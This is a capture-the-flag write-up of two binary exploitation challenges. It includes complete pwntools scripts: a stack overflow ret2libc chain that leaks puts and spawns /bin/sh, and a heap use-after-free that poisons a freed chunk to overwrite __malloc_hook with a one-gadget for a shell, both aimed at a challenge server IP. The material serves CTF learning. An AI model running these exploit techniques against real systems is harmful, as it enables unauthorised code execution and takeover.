[TrollCat CTF] Only Pwnable WriteUp
CTF Write-Up

[TrollCat CTF] Only Pwnable WriteUp

Written by HLe4s, a pwner in Team HBM 

Thoughts

 

main func

 

good func

 

bad func

Only using bad func, we can't attack BOF vulnerability. (Length of bad_thought is 0x20 and dest variable exists at [ebp - 0x28])

 

but look at this, using good_thougt, we can concatenate the two strings, good and bad thought. 

then 'strcpy' func in bad func copy the BIG STRING(bad + good thought) to dest variable.

 

look at the exploit code.

from pwn import *

p = remote("157.230.33.195", 1111)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

pr = p32(0x0804901e) # : pop ebx ; ret
main = p32(elf.symbols['main'])

bad = "A".encode()*0x20
good = "A".encode()*0xc
good += p32(elf.plt['puts'])
good += pr
good += p32(elf.got['puts'])
good += main

p.sendline("1")
p.sendline(good)

sleep(0.3)

p.sendline("2")
p.sendline(bad)

p.recvuntil("you said: ")
puts = p.recv()[len(bad)+len(good) :]
puts = puts[2:]
puts = puts[:4]
print(puts)
puts = u32(puts)
print(hex(puts))

libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search("/bin/sh".encode()))[0]
print(hex(system))
print(hex(binsh))
good = "A".encode()*0xc
good += p32(system)
good += "DDDD".encode() # this is dummy
good += p32(binsh)

p.sendline("1")
p.sendline(good)

sleep(0.3)

p.sendline("2")
p.sendline(bad)

p.interactive()
msgBox

this prob, give libc file.

the libc version is 2.27. tcache_entry must be launched in this server.

 

main func

 

add func

 

show func

 

delete func

 

edit func

using add func, we can make unsorted chunk.(I mean a chunk that will go to unsorted-bin when it is freed)

and then free it. and show it. we can leak main_arena+88 address and we can know __malloc_hook address

 

and we should find fake chunk. we can find it at '__malloc_hook - 35'

and we can exploit fd value of freed chunk using edit func. so we can write __malloc_hook with one_shot

 

exploit code

from pwn import *

p = remote("157.230.33.195", 2222)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(size, idx, msg):
    p.sendlineafter("> ", '1')
    p.sendlineafter("enter size: ", str(size))
    p.sendlineafter("enter idx: ", str(idx))
    p.sendlineafter("message: ", msg)

def show(idx):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))
    return p.recvline()

def remove(idx):
    p.sendlineafter("> ", '3')
    p.sendlineafter("idx: ", str(idx))

def edit(idx, msg):
    p.sendlineafter("> ", "4")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("message: ", msg)

add(10024, 0, "dummy")
add(0x60, 1, "dummy")
remove(0)
malloc_hook = show(0)[:10]
malloc_hook = u64(malloc_hook[4:].ljust(8, "\x00".encode())) - 88 - 0x18
print(hex(malloc_hook))
libc_base = malloc_hook - 0x3ebc30
#one_shot = libc_base + 0x4f432
one_shot = libc_base + 0x10a41c

add(0x60, 0, "dummy")
remove(0)
remove(1)
edit(1, p64(malloc_hook - 35))

add(0x60, 1, "dummy")
add(0x60, 1, "A".encode() * 19 + p64(one_shot) * 4) # It's very bother to calculate dummy

p.interactive()

good luck!